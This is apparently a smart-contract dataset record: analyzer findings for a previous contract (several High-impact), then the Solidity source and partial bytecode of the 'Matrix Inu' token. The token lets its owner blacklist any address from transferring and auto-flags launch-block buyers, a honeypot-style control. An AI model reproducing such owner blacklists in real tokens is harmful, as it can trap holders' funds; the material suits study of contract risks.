ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160000180549050111561229c5761226060028260000160018460000180549050038154811061224057fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b8160000160018360000180549050038154811061227957fe5b906000526020600020906003020160010154101561229b57600191505061229e565b5b505b919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490509050919050565b605081565b60015481565b600080600080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600001858154811061237957fe5b90600052602060002090600302016000015481600001868154811061239a57fe5b9060005260206000209060030201600101548260000187815481106123bb57fe5b906000526020600020906003020160020154935093509350509250925092565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b66b1a2bc2ec5000081565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600080600090505b826000018054905081101561251b5761250c8360000182815481106124eb57fe5b906000526020600020906003020160010154836126b990919063ffffffff16565b915080806001019150506124ca565b508092505050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803073ffffffffffffffffffffffffffffffffffffffff16319050600061258768056bc75e2d631000008361262a90919063ffffffff16565b905061259d81600a6126b990919063ffffffff16565b9250505090565b6000808314156125b75760009050612624565b60008284029050828482816125c857fe5b041461261f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127cb6021913960400191505060405180910390fd5b809150505b92915050565b60008082116126a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b60008284816126ac57fe5b0490508091505092915050565b600080828401905083811015612737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000828211156127b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723058201aea0530b7f02be09a5e2d1a7d65c41791dcb0726a45c1b45c8830cafedcbe4464736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,277
0xD834358C03afad77fe12f670800e6ec5eae585F2
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MATRIXINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Matrix Inu"; string private constant _symbol = "MINU"; uint private constant _decimals = 9; uint256 private _teamFee = 5; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(5).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (60 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Team fee cannot be larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612ae7565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612bb1565b610697565b6040516101ec9190612c0c565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612c36565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c51565b6106c6565b6040516102549190612c0c565b60405180910390f35b34801561026957600080fd5b5061027261079f565b60405161027f9190612c36565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612dec565b6107a8565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612e35565b6108b9565b6040516102e59190612c0c565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612ea0565b61090f565b005b34801561032357600080fd5b5061032c6109e6565b005b34801561033a57600080fd5b5061035560048036038101906103509190612ef9565b610a57565b005b34801561036357600080fd5b5061037e60048036038101906103799190612e35565b610af0565b60405161038b9190612c0c565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612e35565b610b46565b6040516103c89190612c36565b60405180910390f35b3480156103dd57600080fd5b506103e6610b97565b005b3480156103f457600080fd5b506103fd610c1f565b60405161040a9190612f35565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612ea0565b610c48565b005b34801561044857600080fd5b50610451610dfc565b60405161045e9190612ae7565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612bb1565b610e39565b60405161049b9190612c0c565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612dec565b610e57565b005b3480156104d957600080fd5b506104e261104e565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612ea0565b611153565b005b34801561051957600080fd5b50610534600480360381019061052f9190612ea0565b61122a565b005b34801561054257600080fd5b5061055d60048036038101906105589190612f50565b6115c4565b60405161056a9190612c36565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612f90565b61164b565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612e35565b611715565b005b6105cd61180d565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890613009565b60405180910390fd5b600061064c30610b46565b905061065781611815565b50565b60606040518060400160405280600a81526020017f4d617472697820496e7500000000000000000000000000000000000000000000815250905090565b60006106ab6106a461180d565b8484611a8e565b6001905092915050565b600068056bc75e2d63100000905090565b60006106d3848484611c59565b610794846106df61180d565b61078f85604051806060016040528060288152602001613bb360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561180d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229f9092919063ffffffff16565b611a8e565b600190509392505050565b60006009905090565b6107b061180d565b73ffffffffffffffffffffffffffffffffffffffff166107ce610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b90613009565b60405180910390fd5b60005b81518110156108b55760006005600084848151811061084957610848613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ad90613087565b915050610827565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61091761180d565b73ffffffffffffffffffffffffffffffffffffffff16610935610c1f565b73ffffffffffffffffffffffffffffffffffffffff161461098b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098290613009565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a53573d6000803e3d6000fd5b5050565b610a5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610a7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca90613009565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b90600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612303565b9050919050565b610b9f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610bbd610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a90613009565b60405180910390fd5b610c1d6000612371565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c5061180d565b73ffffffffffffffffffffffffffffffffffffffff16610c6e610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613009565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600481526020017f4d494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610e4d610e4661180d565b8484611c59565b6001905092915050565b610e5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610e7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90613009565b60405180910390fd5b60005b815181101561104a57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f2b57610f2a613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610fbf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9e57610f9d613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561103757600160056000848481518110610fdd57610fdc613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061104290613087565b915050610ed6565b5050565b61105661180d565b73ffffffffffffffffffffffffffffffffffffffff16611074610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613009565b60405180910390fd5b600c60149054906101000a900460ff16611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090613142565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550610e10600d5461114b9190613162565b600e81905550565b61115b61180d565b73ffffffffffffffffffffffffffffffffffffffff16611179610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613009565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61123261180d565b73ffffffffffffffffffffffffffffffffffffffff16611250610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90613009565b60405180910390fd5b600c60149054906101000a900460ff16156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061322a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137e919061325f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611409919061325f565b6040518363ffffffff1660e01b815260040161142692919061328c565b6020604051808303816000875af1158015611445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611469919061325f565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61165361180d565b73ffffffffffffffffffffffffffffffffffffffff16611671610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90613009565b60405180910390fd5b600a81111561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290613327565b60405180910390fd5b8060088190555050565b61171d61180d565b73ffffffffffffffffffffffffffffffffffffffff1661173b610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613009565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906133b9565b60405180910390fd5b61180a81612371565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561184d5761184c612ca9565b5b60405190808252806020026020018201604052801561187b5781602001602082028036833780820191505090505b509050308160008151811061189357611892613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561193a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195e919061325f565b8160018151811061197257611971613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119d930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a8e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a3d9594939291906134dc565b600060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af5906135a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b659061363a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c4c9190612c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc0906136cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309061375e565b60405180910390fd5b60008111611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d73906137f0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e00906138a8565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600c60159054906101000a900460ff16155b8015611f795750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f785750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561228d57600c60179054906101000a900460ff16611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc490613914565b60405180910390fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561207c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612089575042600e54115b156120eb57600061209984610b46565b90506120cb60646120bd600568056bc75e2d6310000061243590919063ffffffff16565b6124b090919063ffffffff16565b6120de82856124fa90919063ffffffff16565b11156120e957600080fd5b505b600d5442141561214e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061215930610b46565b9050600c60169054906101000a900460ff161580156121c65750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561228b57600081111561228a5761222560646122176005612209600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b8111156122805761227d606461226f6005612261600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b90505b61228981611815565b5b5b505b61229984848484612558565b50505050565b60008383111582906122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de9190612ae7565b60405180910390fd5b50600083856122f69190613934565b9050809150509392505050565b600060065482111561234a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612341906139da565b60405180910390fd5b600061235461272f565b905061236981846124b090919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561244857600090506124aa565b6000828461245691906139fa565b90508284826124659190613a83565b146124a5576040517f08c379a00000000000000